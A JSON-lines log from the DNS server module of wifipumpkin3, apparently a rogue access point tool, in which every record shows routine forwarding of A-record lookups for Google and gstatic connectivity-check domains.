{"text": "2020-03-14 at 21:41:48 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:22.361812", "seconds": 22.361812}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:48.787625-03:00", "timestamp": 1584232908.787625}}}
{"text": "2020-03-14 at 21:41:48 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:22.522934", "seconds": 22.522934}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:48.948747-03:00", "timestamp": 1584232908.948747}}}
{"text": "2020-03-14 at 21:41:49 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:22.679929", "seconds": 22.679929}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:49.105742-03:00", "timestamp": 1584232909.105742}}}
{"text": "2020-03-14 at 21:41:49 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:22.878801", "seconds": 22.878801}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:49.304614-03:00", "timestamp": 1584232909.304614}}}
{"text": "2020-03-14 at 21:41:49 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:22.908949", "seconds": 22.908949}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:49.334762-03:00", "timestamp": 1584232909.334762}}}
{"text": "2020-03-14 at 21:41:49 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:22.975470", "seconds": 22.97547}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:49.401283-03:00", "timestamp": 1584232909.401283}}}
{"text": "2020-03-14 at 21:41:49 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:23.035648", "seconds": 23.035648}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:49.461461-03:00", "timestamp": 1584232909.461461}}}
{"text": "2020-03-14 at 21:41:49 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:23.139462", "seconds": 23.139462}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:49.565275-03:00", "timestamp": 1584232909.565275}}}
{"text": "2020-03-14 at 21:41:49 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:23.249478", "seconds": 23.249478}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:49.675291-03:00", "timestamp": 1584232909.675291}}}
{"text": "2020-03-14 at 21:41:49 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:23.296583", "seconds": 23.296583}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:49.722396-03:00", "timestamp": 1584232909.722396}}}
{"text": "2020-03-14 at 21:41:49 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:23.369689", "seconds": 23.369689}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:49.795502-03:00", "timestamp": 1584232909.795502}}}
{"text": "2020-03-14 at 21:41:49 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:23.458650", "seconds": 23.45865}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:49.884463-03:00", "timestamp": 1584232909.884463}}}
{"text": "2020-03-14 at 21:41:49 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:23.512880", "seconds": 23.51288}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:49.938693-03:00", "timestamp": 1584232909.938693}}}
{"text": "2020-03-14 at 21:41:50 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:23.592447", "seconds": 23.592447}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:50.018260-03:00", "timestamp": 1584232910.01826}}}
{"text": "2020-03-14 at 21:41:50 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:23.660956", "seconds": 23.660956}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:50.086769-03:00", "timestamp": 1584232910.086769}}}
{"text": "2020-03-14 at 21:41:50 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:23.749633", "seconds": 23.749633}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:50.175446-03:00", "timestamp": 1584232910.175446}}}
{"text": "2020-03-14 at 21:41:50 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:23.803324", "seconds": 23.803324}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:50.229137-03:00", "timestamp": 1584232910.229137}}}
{"text": "2020-03-14 at 21:41:50 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:23.813159", "seconds": 23.813159}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:50.238972-03:00", "timestamp": 1584232910.238972}}}
{"text": "2020-03-14 at 21:41:50 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:23.860360", "seconds": 23.86036}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:50.286173-03:00", "timestamp": 1584232910.286173}}}
{"text": "2020-03-14 at 21:41:50 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:23.955596", "seconds": 23.955596}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:50.381409-03:00", "timestamp": 1584232910.381409}}}
{"text": "2020-03-14 at 21:41:50 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:24.019323", "seconds": 24.019323}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:50.445136-03:00", "timestamp": 1584232910.445136}}}
{"text": "2020-03-14 at 21:41:50 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:24.103690", "seconds": 24.10369}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:50.529503-03:00", "timestamp": 1584232910.529503}}}
{"text": "2020-03-14 at 21:41:50 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:24.229162", "seconds": 24.229162}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:50.654975-03:00", "timestamp": 1584232910.654975}}}
{"text": "2020-03-14 at 21:41:50 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:24.314546", "seconds": 24.314546}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:50.740359-03:00", "timestamp": 1584232910.740359}}}
{"text": "2020-03-14 at 21:41:50 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:24.340583", "seconds": 24.340583}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:50.766396-03:00", "timestamp": 1584232910.766396}}}
{"text": "2020-03-14 at 21:41:50 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:24.422064", "seconds": 24.422064}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:50.847877-03:00", "timestamp": 1584232910.847877}}}
{"text": "2020-03-14 at 21:41:50 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:24.521572", "seconds": 24.521572}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:50.947385-03:00", "timestamp": 1584232910.947385}}}
{"text": "2020-03-14 at 21:41:51 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:24.598698", "seconds": 24.598698}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:51.024511-03:00", "timestamp": 1584232911.024511}}}
{"text": "2020-03-14 at 21:41:51 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:24.699124", "seconds": 24.699124}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:51.124937-03:00", "timestamp": 1584232911.124937}}}
{"text": "2020-03-14 at 21:41:51 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:24.799985", "seconds": 24.799985}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:51.225798-03:00", "timestamp": 1584232911.225798}}}
{"text": "2020-03-14 at 21:41:51 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:24.859747", "seconds": 24.859747}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:51.285560-03:00", "timestamp": 1584232911.28556}}}
{"text": "2020-03-14 at 21:41:51 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:24.938100", "seconds": 24.9381}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:51.363913-03:00", "timestamp": 1584232911.363913}}}
{"text": "2020-03-14 at 21:41:51 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:25.054644", "seconds": 25.054644}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:51.480457-03:00", "timestamp": 1584232911.480457}}}
{"text": "2020-03-14 at 21:41:51 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:25.115379", "seconds": 25.115379}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:51.541192-03:00", "timestamp": 1584232911.541192}}}
{"text": "2020-03-14 at 21:41:51 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:25.185274", "seconds": 25.185274}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:51.611087-03:00", "timestamp": 1584232911.611087}}}
